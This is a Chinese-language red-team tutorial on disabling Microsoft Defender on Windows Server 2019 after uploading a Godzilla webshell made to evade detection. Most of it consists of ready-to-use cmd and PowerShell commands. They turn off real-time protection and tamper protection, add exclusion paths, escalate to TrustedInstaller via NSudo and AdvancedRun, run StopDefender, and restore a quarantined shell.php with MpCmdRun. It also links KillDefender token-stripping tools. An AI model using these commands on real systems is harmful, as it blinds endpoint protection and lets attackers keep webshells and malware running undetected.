紅藍對抗之致盲 Windows defender
Windows defender 介紹
Microsoft Defender 防病毒軟件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。
Microsoft Defender 防病毒軟件是 Microsoft Defender for Endpoint 中下一代保護的主要組件。這種保護將機器學習、大數據分析、深入的威脅防御研究和 Microsoft 云基礎設施結合在一起,以保護您組織中的設備(或端點)。Microsoft Defender 防病毒軟件內置于 Windows 中,它與 Microsoft Defender for Endpoint 配合使用,為你的設備和云提供保護。
Windows defender 環境



版本

Windows Server 系統環境
- 用戶:Administrator
- 版本:Windows Server 2019
補丁

systeminfo 信息

事前準備
在實戰環境中,首先需要上傳webshell,所以在此必須免殺webshell
web環境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4
哥斯拉 webshell 免殺
工具地址:https://github.com/BeichenDream/Godzilla
經過測試,用Godzilla自帶的PHP_XOR_BASE64加密器即可免殺(php一句話直接殺)
生成 PHP_XOR_BASE64 webshell

靜態免殺測試

連接webshell

動態免殺測試

基礎命令介紹
cmd
#查看排除項reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s#查看版本dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b#查看篡改保護(返回結果中的 數值5代表開啟,數值4代表關閉)reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" #需要TrustedInstaller權限##cmd注冊表關閉Windows defenderreg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f##cmd關閉篡改保護NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"##cmd注冊表恢復Windows defenderreg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f##cmd添加Windows defender排除項reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG
powershell
#查看排除項Get-MpPreference | select ExclusionPath #關閉Windows defenderSet-MpPreference -DisableRealTimeMonitoring $true #增加排除項Add-MpPreference -ExclusionPath "c:\temp" #刪除排除項Remove-MpPreference -ExclusionPath "C:\test" #關閉實時保護Set-MpPreference -DisableRealtimeMonitoring $true
關閉 Windows defender
TrustedInstaller
TrustedInstaller是從Windows Vista開始出現的一個內置安全主體,在Windows中擁有修改系統文件權限,本身是一個服務,以一個賬戶組的形式出現。
它的全名是:NT SERVICE\TrustedInstaller
為什么要獲取TrustedInstaller權限?
說白了就是因為Administratior權限和system權限無法關閉 Windows defender
注意:以下工具和技巧皆需要Administratior權限才能成功使用
NSudoLG
工具地址:https://github.com/M2Team/NSudo
下載后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe
免殺測試

使用方法
注意:此工具的 -U:T 參數是獲取了 TrustedInstaller 權限
#cmd注冊表關閉Windows defenderreg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f#cmd注冊表恢復Windows defenderreg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f#cmd添加Windows defender排除項reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f #NSudoLG.exe關閉Windows defenderNSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"#NSudoLG.exe恢復Windows defenderNSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f"#NSudoLG.exe添加Windows defender排除項NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\



powershell成功上線

AdvancedRun
地址:https://www.nirsoft.net/utils/advanced_run.html
免殺測試

使用方法
AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run

powershell成功上線

StopDefender
Github地址:https://github.com/lab52io/StopDefender
免殺測試

使用方法
StopDefender_x64.exe

powershell成功上線

powershell
#查看排除項Get-MpPreference | select ExclusionPath #關閉Windows defenderSet-MpPreference -DisableRealTimeMonitoring $true #增加排除項Add-MpPreference -ExclusionPath "c:\temp" #刪除排除項Remove-MpPreference -ExclusionPath "C:\test"
關閉 Windows defender

關閉 實時保護
Set-MpPreference -DisableRealtimeMonitoring $true

其他技巧
MpCmdRun恢復被隔離的文件
MpCmdRun介紹
配置和管理 Microsoft Defender 防病毒軟件的命令行工具
詳情
https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide
尋找MpCmdRun位置
MpCmdRun的位置為:
C:\ProgramData\Microsoft\Windows Defender\Platform\
#查看版本(查看)dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b #驗證dir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.6-0\" | findstr MpCmdRun

基礎命令
#查看被隔離的文件列表MpCmdRun -Restore -ListAll #恢復指定名稱的文件至原目錄MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php #恢復所有文件至原目錄MpCmdRun -Restore -All #查看指定路徑是否位于排除列表中MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\
移除Token導致Windows Defender失效
Windows Defender進程為MsMpEng.exe,MsMpEng.exe是一個受保護的進程(Protected Process Light,簡寫為PPL)
非 PPL 進程無法獲取 PPL 進程的句柄,導致我們無法直接結束 PPL 進程 MsMpEng.exe, 但是我們能夠以 SYSTEM 權限運行的線程修改進程 MsMpEng.exe 的 token, 當我們移除進程 MsMpEng.exe 的所有 token 后,進程 MsMpEng.exe 無法訪問其他進程的資源,也就無法檢測其他進程是否有害,最終導致 Windows Defender 失效。
本人沒有利用成功過

工具地址
https://github.com/pwn1sher/KillDefenderhttps://github.com/Octoberfest7/KillDefenderhttps://github.com/Octoberfest7/KDStab
參考文章
https://mp.weixin.qq.com/s/27rvHpsnldnxpJaxwQrLGwhttps://zhuanlan.zhihu.com/p/538571344https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defenderhttps://cloud.tencent.com/developer/article/1870239